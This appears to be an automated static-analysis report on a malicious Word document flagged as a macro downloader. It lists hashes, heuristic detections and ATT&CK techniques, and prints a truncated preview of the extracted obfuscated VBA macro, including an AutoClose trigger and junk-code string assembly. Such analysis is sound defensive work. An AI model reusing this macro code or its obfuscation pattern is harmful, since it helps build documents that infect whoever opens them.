Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 df533c27582f1fb8…

MALICIOUS

Office (OLE)

267.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 3aa51d6f2933a32defc005f2d12f613f SHA-1: 77e97ffa943c8255bd95054385b77d52664403ef SHA-256: df533c27582f1fb8908b6eb893ad65fa41ae844d600503d290b62459ab42d172
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that is triggered by the AutoClose event. Heuristics indicate the use of GetObject, suggesting an attempt to execute code or load external resources. The ClamAV signature 'Doc.Downloader.Valyria-6595163-0' strongly suggests this is a downloader malware. The VBA code itself is heavily obfuscated, but the presence of AutoClose and GetObject calls, combined with the ClamAV signature, points to a downloader attempting to fetch and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 81826 bytes
SHA-256: 2fb98d67de05869f79d714ebeee100bd5f849d236d7b8a7c459092b55beae536
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub KoWeXuvUseGeHINIDu()
COFAMODAmYXYieGohusAni = InStr("PIbuQopoxofOKaheXO", "PIbuQopoxofOKaheXOPIbuQopoxofOKaheXO")
Debug.Print "TUaEkUTaXyqNahytamuBIq"

Debug.Print "tYLEgIzeSeQerapo"
Dim VUsAQoMOmiLiesOKDUmaSY
VUsAQoMOmiLiesOKDUmaSY = Log(8)

VUsAQoMOmiLiesOKDUmaSY = VUsAQoMOmiLiesOKDUmaSY + Log(12)

rYTAWiNEnizoLyGOGyC = 24339
qEHEManoFEh = Val("40104.1") & "HELuWulijoV"
End Sub
Sub AutoClose()
Dim puNATYJjCidBES
puNATYJjCidBES = Log(5)

puNATYJjCidBES = puNATYJjCidBES + Log(13)
Dim XevUXEdATIdkigOr
XevUXEdATIdkigOr = Log(2)

XevUXEdATIdkigOr = XevUXEdATIdkigOr + Log(10)
FOGIjAMAkUhAXYtAt = 70913
Debug.Print "rajuVOcuPAryd"
zeguleruJoPyCALuvI = InStr("jjeiuraZoNOQ", "jjeiuraZoNOQjjeiuraZoNOQ")
On Error Resume Next

Dim nYZeaIgaVOzefSAVYGiHUb
nYZeaIgaVOzefSAVYGiHUb = Log(10)

nYZeaIgaVOzefSAVYGiHUb = nYZeaIgaVOzefSAVYGiHUb + Log(10)
Debug.Print "VIXIzOJokuqiryxEGECA"
qObEpYSoRoVONYDUR = InStr("HYdyawuMZYhemuTOqyTYV", "HYdyawuMZYhemuTOqyTYVHYdyawuMZYhemuTOqyTYV")

KuPEMOSUPiPu = InStr("QytuNZamIZaiIju", "QytuNZamIZaiIjuQytuNZamIZaiIju")
Dim FENyTUReLUSYgoc
FENyTUReLUSYgoc = Log(6)

FENyTUReLUSYgoc = FENyTUReLUSYgoc + Log(13)
naiyCagAMOx = InStr("nedpEeWOlavALOdtORYx", "nedpEeWOlavALOdtORYxnedpEeWOlavALOdtORYx")
Dim SyhuzanynuJIEdI
SyhuzanynuJIEdI = Log(3)

SyhuzanynuJIEdI = SyhuzanynuJIEdI + Log(12)
zEcakIKeGymaK = 26421
dezUXuKACyp = ""
laFOiyvymXYCAtEH = 55101

Dim sisAjicAmDyFUjAxe
For sisAjicAmDyFUjAxe = 1 To 10
   Dim QimeMOkEJOZAFIZ
   QimeMOkEJOZAFIZ = Fix(92030)
Next

 dezUXuKACyp = dezUXuKACyp + IIf((43 + 86) = 129, "s", "vW")
HezIboFucOjUWoKIMaLO = Val("5120.3") & "hIXyKArOkehOBEt"

Dim TyBORaXUGUhEdAfe
TyBORaXUGUhEdAfe = Rnd(103)
Dim jeFafafacXETy
For jeFafafacXETy = 2 To 13
   Dim wDlApAiAUguGOGAv
   wDlApAiAUguGOGAv = Fix(18443)
Next
JaGEcOpiSUtYxUkUdyDyK = InStr("hirahYCuKOHInEQoG", "hirahYCuKOHInEQoGhirahYCuKOHInEQoG")
If TyBORaXUGUhEdAfe > 64425 Then
Debug.Print "wrUGUpIPOjAConq"
   TyBORaXUGUhEdAfe = Exp(3)
End If
dezUXuKACyp = dezUXuKACyp + IIf((186 + 372) = 558, "c", "DM0Yj")
Dim xaFIIwaADUx
For xaFIIwaADUx = 6 To 10
KOPpYesahaJAmERitI = InStr("suzURajewAJUNIkiHiGEpO", "suzURajewAJUNIkiHiGEpOsuzURajewAJUNIkiHiGEpO")
   Dim JOPOcowzAfelEMuNa
   JOPOcowzAfelEMuNa = Fix(16077)
Dim ZBaSUhIBUkO
For ZBaSUhIBUkO = 7 To 11
   Dim DgYpxwYPeDoPAio
   DgYpxwYPeDoPAio = Fix(14084)
Next
BomEPyNYfEsoNuQA = 64746
Next
Dim CoLyHujYkeaicUBENiMii
For CoLyHujYkeaicUBENiMii = 2 To 10
   Dim qoLoWicOLoukiPoPtOvITI
   qoLoWicOLoukiPoPtOvITI = Fix(41395)
Next
qEpEXiPotOFCOkUT = 52679

dezUXuKACyp = dezUXuKACyp + IIf((13 + 26) = 39, "r", "DcX")
Dim RijIObovoXHsyW
rigIrupIhArehpUZ = 51041
iUneZosAhohy = InStr("RopADEgaCowaFYXOgEcuVNI", "RopADEgaCowaFYXOgEcuVNIRopADEgaCowaFYXOgEcuVNI")
For RijIObovoXHsyW = 10 To 10
   Dim BiQalYZlIBZo
   BiQalYZlIBZo = Fix(16993)
Dim PIPABYwITOjyt
PIPABYwITOjyt = Log(3)

PIPABYwITOjyt = PIPABYwITOjyt + Log(12)
qOzUbAXevESyaeGelY = InStr("gAxIlYjifMIGOBamETan", "gAxIlYjifMIGOBamETangAxIlYjifMIGOBamETan")
Next
Debug.Print "QogUuKeFudanj"
juapIsESAs = 14618
aanOelTNInESIGACefAF = 84759
Dim dyiUwyjuTUGoWyJoBvYFuMI
For dyiUwyjuTUGoWyJoBvYFuMI = 3 To 13
   Dim JUkYiUiuGeZImEgOLenIPUHU
   JUkYiUiuGeZImEgOLenIPUHU = Fix(36019)
Next
wOlihAZijEilxesy = Val("3617.8") & "mOtaLagOaujeSHIqUlA"

Dim nyRomOSutEDOGYiUF
nyRomOSutEDOGYiUF = Log(1)

nyRomOSutEDOGYiUF = nyRomOSutEDOGYiUF + Log(12)
Dim iYCGyDydiPojojE
For iYCGyDydiPojojE = 10 To 13
   Dim llOhYSFUQEWaHe
SLErItYXitYwylAt = Val("23578.8") & "fYKEwAaYFha"
   llOhYSFUQEWaHe = Fix(23798)
Dim hYTASALeryTIpOdoseTY
For hYTASALeryTIpOdoseTY = 1 To 12
   Dim fosaXWyiaci
   fosaXWyiaci = Fix(4826)
Next
Debug.Print "GEhUaJYHIiOpIxE"
Next
SYxekAs
... (truncated)

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